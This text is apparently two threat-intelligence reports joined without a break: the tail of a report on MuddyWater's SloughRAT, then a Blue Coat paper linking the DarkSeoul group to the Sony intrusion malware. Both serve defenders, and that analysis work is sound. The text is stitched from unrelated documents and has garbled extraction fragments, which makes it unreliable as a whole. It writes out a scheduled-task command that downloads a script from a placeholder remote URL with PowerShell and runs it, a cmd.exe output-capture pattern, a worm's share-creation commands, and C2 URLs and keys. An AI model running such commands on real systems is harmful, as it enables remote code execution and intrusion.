The screenshots below are the result of the analysis and are deobfuscations for better comprehension.
The RAT script needs a function name as an argument to execute correctly and perform its malicious activities.
This name is provided by the instrumentor script and could be a method of thwarting automated dynamic analysis, since submitting the RAT script in isolation without the function name as an argument will result in a failed run of the sample in a sandbox.
Preliminary information gathering and infection registration The RAT script begins execution by performing a WMI query to record the IP address of the infected endpoint.
Deobfuscation of discovery capabilities.
It will then get the user and computer names by querying the environment variables: COMPUTERNAME USERNAME 10/22 Deobfuscation of discovery capabilities.
This system information is then concatenated using a delimiter and encoded to register the infected system with the C2 server hardcoded into the implant.
Format: IP_address))ComputerName/USERNAME RAT capabilities This RATs capabilities are relatively simple, aside from the information-gathering capabilities described previously.
Once the infection is registered with the C2 server, the implant will receive a command code from the C2 server.
The implant uses two different URLs: One is used to register the implant and request arbitrary commands from the C2.
Another that is used to POST the results of the commands executed on the infected endpoint.
The communication with the C2 is done using the common ServerXMLHTTP from the MSXML2 API to instrument an HTTP POST request.
The time between each request is randomized, which makes the malware stealthier and can bypass some sandboxes.
11/22 Deobfuscation of HTTP request construction.
Any data sent to the C2 server is in the format of HTTP forms accompanied by relevant headers, like: Content-Type Content-Length CharSet.
First, the script sends the system information to the first C2 URL, by encoding the message, and sending it via POST request, inside the parameter vl using the following format: IP_address))ComputerName/USERNAME Then, the server returns a UID constructed via concatenation of the server IP and an UUIDv4.
12/22 For example, the UID 5-199-133-149-UUIDv4 is stored in a variable and sends keep-alive messages to request commands from the C2.
Then, this UID is sent through vl parameters inside a POST HTTP request to another C2 URL.
When the server receives this UID, it returns an encoded message that the script interprets.
The message can be: ok: Do nothing and send the UID again (like a keep-alive).
13/22 401: This order cleans the UID variable and forces the script to request another UID, by sending a request to the first URI.
A command to execute that starts the command execution routine.
A command received from the C2 server will be executed using the command line utility.
Its output is recorded in a temporary file on disk in a location such as TEMP\stari.txt.
This data is then immediately read and sent out to the C2.
The message will have the following format: UID))result of command output Commands are executed using the command line: cmd.exe /c command_sent_by_C2  path_to_temp_file Deobfuscation of command execution routine.
The attackers used another version of SloughRAT, which isnt as obfuscated as the version illustrated earlier, this time targeting entities in the Arabian peninsula.
The overall functionality used in this instance is the same with minor modifications in file paths, delimiters, etc.
14/22 Version No.
2 of the WSF RAT  minor changes only.
The attackers utilized SloughRAT to deploy Ligolo, an open-source reverse-tunneling tool to gain a greater degree of control over the infected endpoints.
This tactic observed is in sync with previous findings from Trend Micro.
Overall infection chain: https://github.com/sysdream/ligolo https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html 15/22 VBS-based downloaders In another instance, we observed the deployment of VBS-based malicious downloaders in December 2021 and through January 2022 via malicious scheduled tasks set up by the attackers.
The scheduled task would look something like this: SchTasks /Create /SC ONCE /ST 00:01 /TN task_name /TR powershell -exec bypass -w 1 Invoke-WebRequest -Uri remote_URL_location -OutFile malicious_VBS_path_on_endpoint wscript.exe malicious_VBS_path_on_endpoint These tasks download and parse content from the C2 server and execute it on the infected endpoint.
The output of the command would be written to a temporary file in the APPDATA directory and subsequently read and exfiltrated to the C2.
The complete infection chain of these VBS-based downloaders is currently unknown.
16/22 VBS-based downloader.
Older campaign using JS-based downloaders An older campaign operated by MuddyWater toward the end of November 2019 and into 2020 utilized maldocs and a convoluted chain of obfuscated scripts to deploy a JavaScript- based downloader/stager on the infected endpoint.
This campaign also appears to target Turkish users.
The maldoc contains a macro that would drop a malicious obfuscated VBS in a directory on the system.
The macros would then create persistence for the VBS via the Registry Run key of the current user.
This VBS is responsible for deobfuscating the next payloads and executing 17/22 them on the endpoint.
This execution culminated into a malicious JS downloader being executed on the system to download and execute commands.
18/22 JS-based downloader.
19/22 Conclusion Cisco Talos has observed Iranian APT groups conducting malicious operations and activities all over the world for years.
Particularly, 2021 was prolific in cybersecurity incidents for Iran where state-run organizations were targeted.
These events were attributed to Western nations by the Iranian regime, with the promise of revenge.
Its hard to say if these campaigns are the result of such promises or just part of these groups usual activity.
However, the fact that they have changed some of their methods of operation and tools is yet another sign of their adaptability and unwillingness to refrain themselves from attacking other nations.
We believe there are links between these different campaigns, including the migration of techniques from region to region, along with their evolution into more advanced versions.
Overall, the campaigns we describe cover Turkey, Pakistan, Armenia and countries from the Arabian peninsula.
While they share certain techniques, these campaigns also denote individuality in the way they were conducted, indicating the existence of multiple sub-teams beneath the Muddywater umbrella  all sharing a pool of tactics and tools to pick and choose from.
In-depth defense strategies based on a risk analysis approach can deliver the best results in protecting against such a highly motivated set of threat actors.
However, this should always be complemented by a good incident response plan which has not only been tested with table top exercises, but also reviewed and improved every time it is put to the test on real engagements.
Coverage Ways our customers can detect and block this threat are listed below.
20/22 Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.
Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.
You can try Secure Email for free here.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.
https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium3Dweb-referral?utm_source3Dcisco26utm_campaign3Damp-free-trial26utm_term3Dpgm-talos-trial26utm_content3Damp-free-trial https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/email-security/index.html https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium3Dweb-referral26utm_source3Dcisco26utm_campaign3Dcmd-free-trial-request26utm_term3Dpgm-talos-trial https://www.cisco.com/c/en/us/products/security/firewalls/index.html https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html https://meraki.cisco.com/products/appliances 21/22 Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Ciscos secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.
Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Snort rules for protection against this threat are: 59226 - 59230.
Orbital Queries Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.
For specific OSqueries on this threat, click below: Ligolo SloughRat IOCS Maldocs 4b2862a1665a62706f88304406b071a5c9a6b3093daadc073e174ac6d493f26c 026868713d60e6790f41dc7046deb4e6795825faa903113d2f22b644f0d21141 7de663524b63b865e57ffc3eb4a339e150258583fdee6c2c2ca4dd7b5ed9dfe7 6e50e65114131d6529e8a799ff660be0fc5e88ec882a116f5a60a2279883e9c4 ef385ed64f795e106d17c0a53dfb398f774a555a9e287714d327bf3987364c1b https://www.cisco.com/c/en/us/products/security/stealthwatch/index.html https://www.cisco.com/c/en/us/products/security/threat-grid/index.html https://umbrella.cisco.com/ https://signup.umbrella.com/?utm_medium3Dweb-referral?utm_source3Dcisco26utm_campaign3Dumbrella-free-trial26utm_term3Dpgm-talos-trial26utm_content3Dautomated-free-trial https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html https://signup.duo.com/?utm_source3Dtalos26utm_medium3Dreferral26utm_campaign3Dduo-free-trial https://www.snort.org/products https://orbital.amp.cisco.com/help/ https://github.com/Cisco-Talos/osquery_queries/blob/master/win_forensics/ligolo_reverse_tunneling.yaml https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_muddywater_sloughrat_C2_command_output.yaml 22/22 WSF d77e268b746cf1547e7ed662598f8515948562e1d188a7f9ddb8e00f4fd94ef0 ed988768f50f1bb4cc7fb69f9633d6185714a99ecfd18b7b1b88a42a162b0418 c2badcdfa9b7ece00f245990bb85fb6645c05b155b77deaf2bb7a2a0aacbe49e f10471e15c6b971092377c524a0622edf4525acee42f4b61e732f342ea7c0df0 cc67e663f5f6cea8327e1323ecdb922ae8e48154bbf7bd3f9b2ee2374f61c5d6 VBS fb69c821f14cb0d89d3df9eef2af2d87625f333535eb1552b0fcd1caba38281f JS 202bf7a4317326b8d0b39f1fa19304c487128c8bd6e52893a6f06f9640e138e6 3fe9f94c09ee450ab24470a7bcd3d6194d8a375b3383f768662c1d561dab878d cf9b1e0d17199f783ed2b863b0289e8f209600a37724a386b4482c2001146784 EXEs a500e5ab8ce265d1dc8af1c00ea54a75b57ede933f64cea794f87ef1daf287a1 IPs URLs hxxp://185[.
]118.164.195/c hxxp://5[.]199[.]133[.
]149/oeajgyxyxclqmfqayv hxxp://5[.]199[.]133[.
]149/jznkmustntblvmdvgcwbvqb hxxp://88[.
]119.170.124/lcekcnkxkbllmwlpoklgof hxxp://88[.
]119.170.124/ezedcjrfvjriftmldedu hxxp://178[.
]32.30.3:80/kz10n2f9d5c4pkz10n2f9s2vhkz10n2f9/gcvvPu2KXdqEbDpJQ33/ hxxp://178[.
]32.30.3:80/kz10n2f9d5c4pkz10n2f9s2vhkz10n2f9/rrvvPu2KXdqEbDpJQ33/ hxxp://185[.
]183.97.25/protocol/function.php hxxp://lalindustries[.
]com/wp-content/upgrade/editor.php hxxp://advanceorthocenter[.
]com/wp-includes/editor.php hxxp://95[.
]181.161.81/i100dfknzphd5k hxxp://95[.
]181.161.81/mm57aayn230 hxxp://95[.
]181.161.81:443/main.exe
FROM SEOUL TO SONY: THE HISTORY OF THE DARKSEOUL GROUP AND THE SONY INTRUSION MALWARE DESTOVER By Snorre Fagerland, Blue Coat Systems Inc. February 2016 EXECUTIVE SUMMARY The attack on Sony Pictures Entertainment in November 2014 was not a single incident.
Through technical indicators, we connect the attack to several destructive events going back to at least 2009.
The identity of the perpetrators is unknown, but several of these previous events have been attributed by others to North Korean threat actors.
In this report, we show how we have connected these events to the threat actors known as DarkSeoul or Silent Chollima.
Whoever they are, this group is still active, mainly going after South Korean targets in several sectors.
Malware belonging to this threat complex has apparently been produced as late as January 2016.
We detail the evolution of some of the most common tools used by these attackers and present indicators of compromise and mitigation information where we can.
In parallel with this report, the security company Novetta is publishing its own independent research covering the same threat complex.
This report is available from http://operationblockbuster.com.
http://operationblockbuster.com/ INTRODUCTION Much has been written about the Sony hack.
However, hard data has not been as plentiful.
In an attempt to provide additional insight, we detail some facts about the malware reportedly used in the attack, and attempt to draw lines to other malware and incidents, beyond the mere speculative.
In order to expand the case, we will look at a variety of evidence.
In most cases, we will not settle for one single factor as the basis for assessments, but instead correlate information of different kinds.
Factors that we will include are for example: Obfuscation methods Code structure Text strings, such as encryption keys Known localization Digital code signing certificates Details about the different indicators are included in the appendixes.
Acknowledgements A big thank you goes out to all who helped with this paper  notably Waylon Grange, always an invaluable source of insight and information, and the good folks over at Farsight Security who gracefully provided passive DNS data.
MALWARE KNOWN TO BE CONNECTED WITH THE SONY CASE To start at the beginning: The official statements from the FBI (1) and US-CERT (2) mention the md5 hashes of the following set of malware files: d1c27ee7ce18675974edf42d4eea25c6     (dropper) 760c35a80d758f032d02cf4db12d3e55     (wiper) e1864a55d5ccb76af4bf7a0ae16279ba     (web server) e904bf93403c0fb08b9683a9e858c73e     (backdoor) In the weeks following the attack, a number of other malware instances came to light that were obviously connected such as 2618dd3e5c59ca851f03df12c0cab3b8     (SMB worm) b80aa583591eaf758fd95ab4ea7afe39     (wiper) 6467c6df4ba4526c7f7a7bc950bd47eb     (backdoor) Most vendors now use the name Destover for a group of malware that was part of the Sony intrusion.
Though many pieces of  malware are somewhat different, well use that name as well to avoid confusion.
The US-CERT advisory also mentions the import hashes of a number of other malware.
These are non-unique indicators, but can help in locating related samples.
A NOTE ABOUT THE HANGUL WORD PROCESSOR (.HWP, HWPX) FORMAT The Hangul Word Processor is software developed by the Korean company Hancom.
It is similar in usage area to Microsoft Word, but is specifically adapted to the Korean written language Hangul.
The file format used by this software is also somewhat similar to Microsoft Word, with the use of OLE2-based documents for previous versions of HWP, and ZIP archive-based documents for newer versions.
A number of vulnerabilities have existed for these formats.
These have been used maliciously by several different threat actors over time, also by the threat actors mentioned in this paper.
MALWARE ARCHEOLOGY As research into this case progressed, it became obvious that we were tracing malware relationships back in time.
In fact, the earliest indicators weve found go all the way back to at least 2009.
Around this time a malware development project started that would become the backbone of intrusions and destructive attacks against mainly South Korean targets for years to come.
In fact, modern-day malware from the same threat actor still contains traces of this first eo-malware.
The initial starting points were likely publicly available source codes for Rbot and Mydoom, found on Chinese code sharing sites like Programmers United Develop Net (PUDN).
There is no universally adopted naming for the early generations of this family in the AV industry.
Usually they are detected as Dllbot or Npkon, but these names can also cover other families, thus our use of a different name in this paper - KorDllbot.
We will cover the evolution of KorDllbots and related malware, and how these came to be involved in various intrusion cases.
TIMELINE OF LIKELY DARKSEOUL-RELATED ATTACKS A timeline of destructive intrusions in or related to the Korean peninsula.
THE KORDLLBOT BACKDOOR FAMILY KorDllbot is a family of small/medium size trojans that usually are configured to be installed as services.
Samples can vary a great deal in functionality - from just listening on a port and accepting commands, to harvesting data, to actively spreading over SMB.
This functionality seems almost modular, using different encryption and encoding methods and different CC command words.
Build environment for the early generations was typically Visual Studio 6.
KorDllbots use CC commands starting at different integer offsets depending on version.
Here, versions 1.1/1.2/1.5, 1.03, 1.04.2 and 1.05.2 sending success or error status back to remote control client after file deletion.
Common capability seen in the KorDllbot family is: - Get bot status - List logical drives - List directory - Change directory - Get process list - Kill process - Execute file - Delete file - Change file time - Execute shell command - Download file - Upload file - Get volume serial number - Get file attributes Most of these trojans use encrypted or encoded CC communication, but the algorithms vary between versions.
A very common trait in these bots is for APIs to be dynamically declared through the use of LoadLibrary and GetProcAddress, where the API names are obfuscated, encoded or encrypted in some way, and decoded before they are declared.
This is not unique to KorDllbots, but is a fairly static common behavior for this family.
Another trait which is peculiar enough to be an identifier in itself is the way this malware creates command line statements.
The construction of the command line is deliberately obfuscated by concatenating string segments.
Typically, this looks something like this: This translates to cmd.exe /c commandlogfile_name 21, i.e execute command and direct output to a log file.
This particular construct, with very little deviation, is used in almost all KorDllbots and its successors.
Well reference this by the name CMXE string obfuscation later on in the paper.
The earliest KorDllbot we have has a compile timestamp of July 1st.
2007.
This date is however possible to falsify.
The earliest verified time KorDllbots were observed was mid-2011, with the executable with the sha256 hash of 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e.
This sample listens for connections on port 179 and allows remote access through an encoded proprietary protocol.
Already here we can note a connection to the Sony case.
Current antivirus detection of this file includes the names Destover and Escad, names introduced by AV vendors in connection with the Sony attack.
It has a compile date (May 17th 2011) and import hash that matches data from the US-CERT advisory (2).
This malware contains a very noticeable API string obfuscation algorithm where API strings have been broken up into segments of varying size using either spaces or dots as filler.
This is presumably done to avoid detection by anti-malware solutions or YARA rules.
We have called this technique Chopstring, just to have a reference later on.
ChopString is used by many KorDllbots, and also shows up elsewhere in the Sony intrusion case.
Chopstringed strings inside malware.
As far as we know, this exact method is not in widespread use in the underground or shared between threat actors.
These APIs are reconstructed before use by calling special string-deobfuscation functions early in the execution of the program.
For details about this and other algorithms, see the Appendix.
However, there is another interesting trait of this particular sample, and that is its digital signature.
sprintf(commandline, sd.esc s s 21, cm, xe /, command, logfile_name) //command and tempfile_name are arbitrary strings inserted by the malware.
THE MicrosoftCodeSigningPCA CERTIFICATE CLUSTER The KorDllbot sample 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e is digitally signed using a non-original (and thus non-validating) Microsoft certificate.
The file is in reality self-signed.
This signature doesnt say much about who made it.
However, the way the certificate is constructed is peculiar.
The faked issuer in this case is Microsoft Code Signing PCA.
The real Microsoft Code Signing PCA is one of the certificate authorities used by Microsoft to sign their software.
The Subject - i.e.
the entity the certificate is supposed to have been issued to - is also Microsoft Code Signing PCA.
This is a construct never seen in legitimate certifications, and it is rare enough in faked certificates that its worthwhile checking other malware signed in this way.
Blue Coat maintains a database of code signing certificates which we can mine for this type of information.
We found several certificate serial numbers matching this pattern.
Each serial number identifies a certificate used to sign a small number of malware samples  typically on the range of one to four samples, with one outlier at eight samples.
The malware can be clustered into a few main buckets.
Some malwares of different families are signed by the same certificate, which creates a high-confidence link between them.
This collection of signed malware is dominated by KorDllbots.
These are not all identical, there is considerable variation between generations in functionality, encoding and encryption methods, but the similarities in overall structure string usage etc.
is quite unmistakable.
(
See appendix for a full list of executables with this type of signature.)
Other samples include keyloggers, SMB worms, Yahoo Messenger-communicating backdoor trojans and the legitimate ProxyMini lightweight proxy server.
KORDLLBOT-RELATED SMB WORMS The malware samples 163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d and e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d in the cluster of signed malware do not look like KorDllbots at first glance.
The usual service DLL dropper is here replaced with a worm component.
After installation and reboot, this worm generates random IP addresses and attempts to connect to the admin share on remote machines using the hard coded usernames administrator and db2admin.
The malware contains a list of common passwords and it will also construct passwords based on the username.
If successful, the worm copies itself to the remote machines system directory and installs it as a service there.
In addition to spreading, these samples drop a backdoor component which is somewhat different in structure to the standard KorDllbots.
The dropper code logic used in these worms is however used in other KorDllbot dropper samples and is unmistakable - the strings DGTSIGN and www.goog1e.cn are markers which the malware uses to locate its embedded content.
9bc8fe605a4ad852894801271efd771da688d707b 9fbe208106917a0796bbfdc This is a KorDllbot dropper e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c 2ed4fcbfdd16b4dd1c18d4d This is an SMB worm THE JOANAP/BRAMBUL WORM FAMILY Speaking of SMB worms, a group of malware signed using the MicrosoftCodeSigningPCA pattern were a series of SMB worms that had not appeared on our radar before.
The variant we found first was named Joanap by several antivirus vendors presumably because of name appearing in the TO: field of callback emails from the malware Joana.
The malware comes as a dropper which installs three sub-components  one SMB spreading DLL (wmmvsvc.dll), one backdoor DLL (scardprv.dll) and one configuration file (mssscardprv.ax).
The spreader component generates random IP addresses and attempts to copy the dropper and the config file to these over SMB.
If successful, the worm sends an email back to its creator via Googles SMTP server.
The backdoor component is essentially a KorDllbot.
Not only is there code overlap with this family, but it also creates its API decryption AES key based on the same string (Bb102jH4t3hg6G1s2J3gCNwVrUeIDr3hytgCHGfion) as previously mentioned KorDllbots, eg.
sha256 a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f.
Recently, Symantec published information (3) that links these worms to the Duuzer malware family.
As we shall see later on, this is just another connection to our threat actors.
We were able to locate several variants of Joanap-like malware using different email addresses and containing different functionality.
The earliest of these were apparently compiled as early as January 2009, with verified occurrences of a newer variant late same year.
See appendix for more details.
The latest versions of Joanap we found appear to be the type of SMB worm observed in connection with the Sony attack, something also PriceWaterhouseCoopers has mentioned in a blog post (4).
THE DOZER (AKA 7.7 DDOS) ATTACK The Dozer attack in July 2009 was one of the first attacks on South Korean targets that received international attention.
DDOS bots were distributed with lists of sites to attack  notably various Korean websites covering government and bank functions, but also a great deal of US .gov, .mil and .com sites  including whitehouse.gov.
This also involved wiping of hard disks of the infected computers.
There is a known set of malware (7) connected with this incident.
Some of these samples appear to have been written specifically for the Dozer attack.
However, the sample with the sha256 hash 7dee2bd4e317d12c9a2923d0531526822cfd37eabfd7aecc74258bb4f2d3a643 shares code with KorDllbots, as can be seen in the function below, which does network receipt with xor decoding.
KorDllbot (0075d16d8c86f132618c6365369ff1755525180f919eb5c103e7578be30391d6) vs Dozer (7dee2bd4e317d12c9a2923d0531526822cfd37eabfd7aecc74258bb4f2d3a643).
The function is identical.
This is just one out of several such functions in the sample.
We can say with reasonable confidence that the threat actors behind the Dozer attack also were involved in the creation of the KorDllbot family or have had access to the source code.
THE KOREDOS (AKA 3.4 DDOS) ATTACK Over a few days in the beginning of March 2011, different South Korean organizations were targets of a DDOS attack.
The malware launching this attack also contained very destructive components that wiped and deleted files of certain extensions after some time, as well as overwriting the Master Boot Record (MBR) of all physical hard drives.
Good write-ups of this incident have been published by McAfee (8) and several others.
Some known Koredos malware samples (eg.
sha256 48dee93aa3ea847da119f5104e8f96070b03f1d52c46f39dc345f0102bf38836) use the same RC4 file decryption key - A39405WKELsdfirpsdLDPskDORkbLRTP123303223 - as malware in the MicrosoftCodeSigningPCA signed KorDllbot cluster mentioned previously (eg.
sha256 a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f).
The RC4 implementation used is identical.
The very same KorDllbot also contains an AES key Bb102jH4t3hg6G1s2J3gCNwVrUeIDr3hytgCHGfion which is used by several Joanap malware samples.
We can say with reasonable confidence that the threat actors behind the Koredos attack, like in the Dozer attack, have been involved in the creation of the KorDllbot family.
Symantec reported another malware to be involved along with the Koredos malware - the stealthy backdoor Prioxer (9).
Prioxer made a return in connection with the DarkSeoul (often known as Jokra) attacks in 2013.
This relationship has been covered by in studies by both Symantec (10) and McAfee (5).
THE JOONGANG ILBO ATTACK In 2012, the conservative daily newspaper Joongang llbo was subject to a disk wiping attack (11).
Not much technical data is in the public domain about this incident.
However, a Korean researcher links this attack to the Sony attack, based on code similarities (12).
We have no reason to doubt this assessment.
THE DARKSEOUL (AKA 3.20 OR JOKRA) ATTACK DarkSeoul was a debilitating and destructive attack in March 2013 that affected several Korean banks and news organizations.
It may be the most well-known of all the Korean wiper attacks.
The incident has been extensively researched by several vendors notably the mentioned Operation Troy paper (5)  by McAfee covered a good deal of the malware involved.
The main malware family connected with that attack  an IRC controlled bot  was a programming project that had been ongoing for years before being employed in the DarkSeoul attack.
The earliest sample we have of this family (known as XwDoor or Keydoor) was apparently compiled in January 2009.
This family is quite easy to spot, as there are a number of strings that appear consistently re-used.
The intrusion also involved a backdoor family named Prioxer.
There was no obvious connection to the KorDllbot/Destover complex until Symantec tied the Prioxer malware back to the 2011 Koredos incident (10).
THE KORHIGH MALWARE The Korhigh malware was identified around June 25 2013 in connection with investigations into other attacks on South Korean targets (13).
This date coincided with the 63rd anniversary for the start of the Korean War.
It had a destructive component, capable of deleting files and overwriting the Master Boot Record (MBR) of hard drives.
The malware was apparently created by a group calling itself High Anonymous.
The following image was contained as a resource in one of the executables: There are strong similarities between the Sony malware and the malware used in the Korhigh campaign.
These similarities have been reported by Korean researchers (13), but have gone largely unnoticed in the West.
Comparing 4d4b17ddbcf4ce397f76cf0a2e230c9d513b23065f746a5ee2de74f447be39b9 from the Sony attack with 5b5aede68a6b3aa50cd62c5f4f02078620f0b7be4ceb679b6d5dfe25a44b8cb9 from the Korhigh attack we see code reuse.
Specifically, the code used for spreading over the network is almost identical.
The technique used by both goes as follows: 1.
Scan for computers that have ports 139 and 443 open 2.
Test the remote login credentials by attempting to access the admin share 3.
If successful, create a remote service with the name RasMgrp  and description RasSecruity.
4.
Use the commands cmd.exe /q /c net share sharedSystemRoot and cmd.exe /q /c net share sharedSystemRoot /GRANT:everyone,FULL to create a shared share.
5.
Copy itself over to the share 6.
Match the new files timestamp to that of the local calc.exe 7.
Delete the share using the same service name, this time with the command cmd.exe /q /c net share shared /delete Even the filenames used when copying itself over the share are similar: Destover filenames Korhigh filenames recdiscm32.exe recdiscm.exe taskhosts64.exe taskhosts.exe taskchg16.exe taskchg.exe rdpshellex32.exe rdpshellex.exe mobsynclm64.exe mobsynclm.exe comon32.exe comon32.exe diskpartmg16.exe diskpartmg.exe dpnsvr16.exe dpnsvr32.exe expandmn32.exe expandmn.exe hwrcompsvc64.exe hwrcompsvc.exe File timestamp matching function comparison There is little doubt that parts of the same codebase has been used in both of these attacks.
In the Sony incident, several malware samples contained information that seemed to indicate foreknowledge about the layout of the targeted networks.
This included local hostnames, usernames and even passwords.
This was also the case in the Korhigh attack.
At least two samples (5b5aede68a6b3aa50cd62c5f4f02078620f0b7be4ceb679b6d5dfe25a44b8cb9, d6a07b7ecd5ae7e948cce032603558a5d21100ba5f04056c72aec1ab2d36956e) came with pre-defined configurations containing domain, hostname, username and password combinations.
Though we have no hard data to confirm this, it could mean that Korhigh was part of an actual intrusion at the time.
Part of a config resource showing network information.
NOV 2014: SONY ATTACK DESTOVER BACKDOOR SAMPLES ARE BASED ON KORDLLBOT The Destover lightweight backdoor (sha256 4c2efe2f1253b94f16a1cab032f36c7883e4f6c8d9fc17d0ee553b5afb16330c) mentioned in official statements related to the Sony intrusion is a digitally signed file.
There is also an almost identical unsigned file in existence with the sha256 eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.
This unsigned file is the original.
It was established that the signed file was created as a joke by a researcher (4).
We were able to locate more malware samples similar to this backdoor.
Many of these were created in a timeframe well before the Sony intrusion came to light.
Some also match the import hash indicators mentioned in the US-CERT advisory, though import hashes are non-unique indicators and cannot always be relied upon.
Closer investigation reveals that this Destover sample is indeed derived from the same source base as KorDllbot.
This is based on the following indicators: The Chopstring API string obfuscation The CMXE command line construction Same way of declaring APIs Similarities with later samples, such as: o A printf MessageThread statement in the beginning of the command handling function (similar to Destover MessageThread samples) o Use of the XOR-A7 encoding to decode strings (similar to Destover b076e058 samples) Throughout 2014 and 2015 and still ongoing in 2016, Destover-related backdoors have continued to be used in various campaigns.
They share many common traits, but there are also clear differences in functionality, hinting at a common source repository but where customization is added as needed.
Some subfamilies have received their own variant names  i.e.
Volgmer and Duuzer  while others have no separate moniker.
See appendix for detailed descriptions of variants.
OTHER POSSIBLY RELATED MALWARE ACTIVITY A number of incidents and malware systems have been attributed to either the DarkSeoul group or North Korean threat actors.
This chapter will quickly go through some of these.
THE CASTOV AND CASTDOS CAMPAIGNS (AKA 6.25 DDOS ATTACKS) The Castov campaign mainly targeted South Korean financial corporations and was discovered in May 2013 (16).
Notably, these malwares included code to steal banking credentials.
Some were designed to perform DDOS attacks on Korean government servers on June 25th, 2013 (16) (12)   the same date that the destructive Korhigh malware was also uncovered - though we have no information as to whether these cases were connected.
On the face of it, there is little to directly connect the Castov malware with the DarkSeoul/Destover complex, as the codebase is largely different.
For example, the initial downloader was a crimeware known as Tijcont, distributed by the Gongda exploit kit.
The downloaded banking malware was written in Delphi, uncommon for DarkSeoul projects.
However, Symantec states clearly in their blog post that they attribute Castov to the DarkSeoul group.
THE KIMSUKY SYSTEM The Kimsuky malware complex was originally detailed in a report from Kaspersky (14) in 2013 and has been an active component of the South Korean threat landscape since then.
Ahnlab reported a new campaign in Feb 2014 (15), and an intrusion attempt into South Korean nuclear facilities in Dec 2014 was also identified to involve Kimsuky (16).
The Kimsuky malware is different in structure from the Destover complex.
It uses different encoding schemes and algorithms than Destover, and email and FTP is used for CC communication and exfiltration.
Similar to Destover, Kimsuky has used HWP exploits as infection vector.
A number of samples rely on vulnerabilities in the old OLE2-based HWP file format.
However, they have not, as far as we have seen, used the recent CVE-2015-6585 HWPX vulnerability which has been used to plant at least three variants of Destover.
There are some similarities in modus operandi, such as Encoded API usage.
Frequent code hand-modifications between samples Malware installed as services Taunting the victim in public fora Posing as hacktivist groups (17) Publication of stolen data (17) Based on the available data we cannot say that the Kimsuky-based campaigns are connected to the DarkSeoul group.
THE BLACKMINE SYSTEM Blackmine is a South Korean focused malware campaign detailed by Ahnlab (18).
The payload malware in question is a data harvester and uploader, which also allows for download of more malware.
In the same way as Kimsuky, there are some similar approaches with Destover  the usage of obfuscated API names for example  but also enough differences to say that Blackmine probably has not originated from the same codebase.
Ahnlab does however state that they see these groups as possibly correlated.
CONCLUSION The attack on Sony Pictures Entertainment incorporated the use of malware which contained a number of commonalities with malware used in previously known attacks.
These previous attacks were mainly focused against South Korean entities such as financial institutions, government sites, think tanks and other important functions.
Targets outside South Korea have also been affected, albeit to a lesser extent: Apart from the Sony intrusion, the Dozer DDOS attacks of 2009 were also directed towards US websites.
The amount of common factors between the different incidents makes it in our opinion very likely that these incidents are perpetrated by the same group, or at least cooperating groups.
In this paper, we are not commenting on geographical attribution for the Sony attack.
We note that a number of the mentioned previous attacks (Dozer (15), Koredos, Korhigh (16), DarkSeoul (17)) have been associated with North Korean involvement, but these associations have not been examined or validated by us.
It is worth noting that this threat actor is still active.
We have seen Destover-samples compiled as recently as January 2016.
DarkSeoul should be considered a constant risk factor, particularly for South Korean institutions.
The Destover malware family seems to be the information gathering workhorse of this group  adapted and changed to fit the purpose du jour, but retaining a lot of the same overall design and methodology.
For specific targets more customized malware is often deployed.
Command and control connections are almost always going to raw IP addresses, and different malware generations tend to use different sets of addresses.
It is our assumption that most of these IPs are compromised computers which probably are running proxies, and as such are easily disposable.
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Blue Coat makes no http://www.v3.co.uk/v3-uk/news/2282616/south-korea-blames-cyber-attacks-on-north-korean-government-hackers WORKS CITED 1.
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APPENDIX: TECHNICAL DETAILS Note: Data used for this report has solely come from public or otherwise unrestricted sources.
THE JOANAP FAMILY JOANAP.A BACKDOOR, JAN 2009 The first version of what could be called a Joanap-related malware was a series apparently compiled January 16th- January 19th 2009.
This is actually not a worm at all, as there is no code for network propagation present.
Instead, it is a data harvester and backdoor which bears some similarity with KorDllbots  APIs are dynamically declared, harvested data is added to ZIP file before exfiltration, and the command structure uses a set of integers (0x1010 0x1020).
As previously mentioned, the Joanap malware series contains code snippets from publicly available Rbot code (25).
